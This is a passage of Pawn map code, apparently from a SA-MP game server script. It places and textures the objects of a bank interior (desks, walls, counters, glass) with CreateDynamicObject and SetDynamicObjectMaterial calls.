        SetDynamicObjectMaterial( AG_Bank2[11], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[12], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[13], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[14], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[15], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[16], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[17], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[18], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[19], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[4], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[5], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[6], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[7], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[8], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[9], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[10], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[11], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[12], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[13], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[14], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[15], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[16], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[17], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[18], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[19], 1, 10226, "sfeship1", "CJ_WOOD5",  0xFF404040);

        AG_Bank2[20] = CreateDynamicObject(1783, 1409.68652, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[21] = CreateDynamicObject(1783, 1409.05054, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[22] = CreateDynamicObject(1783, 1408.41455, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[23] = CreateDynamicObject(1783, 1407.77856, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[24] = CreateDynamicObject(1783, 1407.14258, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[25] = CreateDynamicObject(1783, 1406.50659, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[26] = CreateDynamicObject(1783, 1403.44995, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[27] = CreateDynamicObject(1783, 1402.81396, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[28] = CreateDynamicObject(1783, 1402.17798, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[29] = CreateDynamicObject(1783, 1401.54199, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[30] = CreateDynamicObject(1783, 1400.90601, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[31] = CreateDynamicObject(1783, 1400.27002, 1320.72131, 1501.02368,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[20], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[21], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[22], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[23], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[24], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[25], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[26], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[27], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[28], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[29], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[30], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[31], 0, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[20], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[21], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[22], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[23], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[24], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[25], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[26], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[27], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[28], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[29], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[30], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[31], 1, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[20], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[21], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[22], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[23], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[24], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[25], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[26], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[27], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[28], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[29], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[30], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);
        SetDynamicObjectMaterial( AG_Bank2[31], 2, 10226, "sfeship1", "CJ_WOOD5", 0xFF707070);

        AG_Bank2[32] = CreateDynamicObject(19371, 1408.41614, 1320.75476, 1499.31506,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[33] = CreateDynamicObject(19371, 1408.09814, 1320.74878, 1499.31506,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[34] = CreateDynamicObject(19371, 1402.32776, 1320.79736, 1499.31506,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[35] = CreateDynamicObject(19371, 1401.69177, 1320.79541, 1499.31506,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[32], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[33], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[34], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[35], 0, 1223, "dynsigns", "white64", 0xFFBCE4FA);

        AG_Bank2[36] = CreateDynamicObject(19425, 1408.43188, 1321.10217, 1500.77808,   180.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[37] = CreateDynamicObject(19425, 1408.13196, 1321.10217, 1500.77612,   180.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[38] = CreateDynamicObject(19425, 1408.13196, 1321.23425, 1500.78015,   180.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[39] = CreateDynamicObject(19425, 1408.43188, 1321.23425, 1500.77612,   180.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[40] = CreateDynamicObject(19425, 1402.16382, 1321.07813, 1500.77808,   180.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[41] = CreateDynamicObject(19425, 1401.90002, 1321.07813, 1500.77612,   180.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[42] = CreateDynamicObject(19425, 1402.16382, 1321.23425, 1500.77612,   180.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[43] = CreateDynamicObject(19425, 1401.90002, 1321.23425, 1500.78015,   180.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[36], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[37], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[38], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[39], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[40], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[41], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[42], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank2[43], 0, 10226, "sfeship1", "CJ_WOOD5", 0);

        AG_Bank2[44] = CreateDynamicObject(2293, 1409.84692, 1311.45801, 1500.07825,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[45] = CreateDynamicObject(2293, 1408.89392, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[46] = CreateDynamicObject(2293, 1407.94177, 1311.46570, 1500.07825,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[47] = CreateDynamicObject(2293, 1407.02795, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[48] = CreateDynamicObject(2293, 1405.16199, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[49] = CreateDynamicObject(2293, 1404.22900, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[50] = CreateDynamicObject(2293, 1403.29602, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[51] = CreateDynamicObject(2293, 1402.36304, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[44], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[45], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[46], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[47], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[48], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[49], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[50], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFF404040);
        SetDynamicObjectMaterial( AG_Bank2[51], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank2[44], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank2[45], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank2[46], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank2[47], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank2[48], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank2[49], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank2[50], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank2[51], 1,  8843, "vegasarrows", "dirtywhite", 0);

        AG_Bank2[52] = CreateDynamicObject(19448, 1407.80005, 1323.94739, 1501.79858,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[53] = CreateDynamicObject(19448, 1402.52002, 1323.95020, 1501.79858,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[54] = CreateDynamicObject(19448, 1397.64343, 1328.59155, 1501.79858,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[55] = CreateDynamicObject(19448, 1398.53809, 1308.12610, 1501.79858,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[56] = CreateDynamicObject(19448, 1403.24109, 1310.53662, 1501.79858,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[57] = CreateDynamicObject(19448, 1407.80005, 1310.53748, 1501.79858,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[58] = CreateDynamicObject(19448, 1393.80994, 1312.85864, 1501.79858,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[78] = CreateDynamicObject(19448, 1393.80994, 1312.85864, 1498.30054,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[79] = CreateDynamicObject(19448, 1388.89221, 1316.27661, 1498.30054,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);//
        AG_Bank2[80] = CreateDynamicObject(19448, 1391.91467, 1320.62366, 1498.30054,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);//
        AG_Bank2[81] = CreateDynamicObject(19448, 1396.64331, 1315.87585, 1498.30054,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[82] = CreateDynamicObject(19448, 1390.51587, 1319.00146, 1498.30054,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[83] = CreateDynamicObject(19448, 1393.65063, 1329.45300, 1501.79858,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[84] = CreateDynamicObject(19448, 1391.81213, 1325.20935, 1501.79858,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);//
        AG_Bank2[85] = CreateDynamicObject(19448, 1391.81396, 1320.61072, 1501.79858,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);//
        AG_Bank2[97] = CreateDynamicObject(19448, 1394.84595, 1315.87280, 1504.16675,   -34.50000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[52], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[53], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[54], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[55], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[56], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[57], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[58], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[97], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[78], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[79], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[80], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[81], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[82], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[83], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[84], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank2[85], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);

        AG_Bank2[59] = CreateDynamicObject(2920, 1412.61023, 1324.49341, 1500.19775,   90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[60] = CreateDynamicObject(2920, 1412.61255, 1307.20703, 1500.19775,   90.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[61] = CreateDynamicObject(2920, 1412.61023, 1324.31738, 1503.42859,   90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[62] = CreateDynamicObject(2920, 1412.61255, 1310.18604, 1503.42859,   90.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[63] = CreateDynamicObject(2920, 1412.60815, 1323.75586, 1496.23474,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[64] = CreateDynamicObject(2920, 1412.60925, 1317.56165, 1496.23474,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[65] = CreateDynamicObject(2920, 1412.60803, 1314.16638, 1496.23474,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[66] = CreateDynamicObject(2920, 1412.60815, 1310.75793, 1496.23474,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[67] = CreateDynamicObject(2920, 1412.60974, 1320.70361, 1496.23474,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[68] = CreateDynamicObject(2920, 1412.60730, 1315.83655, 1509.61548,   0.00000, 180.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[69] = CreateDynamicObject(1897, 1412.71875, 1316.54517, 1502.60596,   0.00000, 90.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[70] = CreateDynamicObject(1897, 1412.71936, 1315.15161, 1502.58203,   0.00000, -90.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[71] = CreateDynamicObject(1897, 1412.71936, 1315.15161, 1502.70142,   0.00000, -90.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[72] = CreateDynamicObject(1897, 1412.71875, 1316.54517, 1502.72583,   0.00000, 90.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[73] = CreateDynamicObject(2920, 1412.60803, 1313.94995, 1496.23474,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[74] = CreateDynamicObject(2920, 1412.60925, 1317.80005, 1496.23474,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[86] = CreateDynamicObject(2920, 1412.61023, 1324.31738, 1503.6766,   90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[87] = CreateDynamicObject(2920, 1412.61023, 1324.31738, 1503.9246,   90.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[88] = CreateDynamicObject(2920, 1412.61255, 1310.18604, 1503.6766,   90.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        AG_Bank2[89] = CreateDynamicObject(2920, 1412.61255, 1310.18604, 1503.9246,   90.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[59], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[60], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[61], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[62], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[63], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[64], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[65], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[66], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[67], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[68], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[69], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[70], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[71], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[72], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[73], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[74], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[86], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[87], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[88], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank2[89], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        CreateDynamicObject(4649, 1437.77979, 1282.13147, 1498.38147,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4650, 1499.84375, 1339.13135, 1497.04419,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4651, 1489.83142, 1396.67981, 1496.91479,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4585, 1469.79443, 1309.09814, 1586.63599,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4568, 1499.17395, 1386.75208, 1496.50269,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4690, 1490.08435, 1374.56055, 1506.36865,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(700, 1455.23425, 1354.28186, 1499.46777,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4681, 1604.73755, 1346.70850, 1506.94385,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4571, 1535.18909, 1378.84387, 1544.81921,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4584, 1499.29883, 1277.14868, 1494.11914,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4569, 1490.61377, 1260.33313, 1515.10461,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4703, 1444.05493, 1426.24866, 1497.17859,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4666, 1427.62219, 1470.71790, 1516.70435,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4665, 1427.62219, 1470.71790, 1516.70435,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4664, 1530.43140, 1498.77100, 1515.34094,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4595, 1517.97668, 1490.37646, 1497.11572,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1294, 1440.57166, 1309.86755, 1501.40869,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1283, 1446.12048, 1337.79199, 1499.97302,   0.00000, 0.00000, -90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(1283, 1435.69678, 1346.69800, 1499.97302,   0.00000, 0.00000, 180.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(729, 1480.63184, 1438.66370, 1496.86194,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(729, 1457.53821, 1422.30310, 1496.86194,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(729, 1520.04944, 1447.82092, 1496.86194,   0.00000, 0.00000, 0.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(762, 1508.08984, 1447.84460, 1502.16406,   0.00000, 0.00000, 71.27999);
        CreateDynamicObject(4718, 1538.13550, 1591.90503, 1517.18408,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4585, 1390.00232, 1372.76270, 1550.00000,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4585, 1347.87378, 1336.75903, 1550.00000,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4585, 1345.14465, 1307.01538, 1550.00000,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4585, 1388.88855, 1277.29407, 1550.00000,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        CreateDynamicObject(4585, 1384.67175, 1336.22705, 1524.32104,   0.00000, 90.00000, 90.00000, 26, 63, -1, 200.00);
        AG_Bank2[147] = CreateDynamicObject(4600, 1392.54540, 1309.93079, 1508.62451,   0.00000, 0.00000, 90.00000, 26, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank2[147], 1,  -1, "none", "none", 0x00FFFFFF);

        AG_Bank2[99] = CreateDynamicObject(19379, 1403.84119, 1308.13196, 1503.62134,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
        AG_Bank2[100] = CreateDynamicObject(19379, 1407.38867, 1308.13257, 1503.61926,   0.00000, 90.00000, 0.00000, 26, 63, -1, 200.00);
